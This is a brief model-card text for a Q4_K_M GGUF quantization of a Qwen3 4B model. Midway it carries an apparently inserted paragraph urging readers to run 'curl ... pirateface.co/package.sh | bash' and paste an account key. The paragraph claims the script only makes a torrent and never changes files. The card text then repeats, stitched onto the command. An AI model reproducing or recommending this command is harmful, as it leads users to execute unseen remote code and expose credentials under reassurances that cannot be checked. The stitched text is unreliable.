Q4_K_M quantized version using llama.cpp of this model.
iMatrix file used coming from this repository.
Many thanks to Felldude for his work on this.
Run it next to your model folder. It makes the torrent, checks your files against Hugging Face, and submits it. You just start seeding and paste your key from your account. It only reads your files and never changes them. Read the script first if you like.
curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo n-Arno/Qwen3_4B-trained-GGUF ./model-folderQ4_K_M quantized version using llama.cpp of this model.
iMatrix file used coming from this repository.
Many thanks to Felldude for his work on this.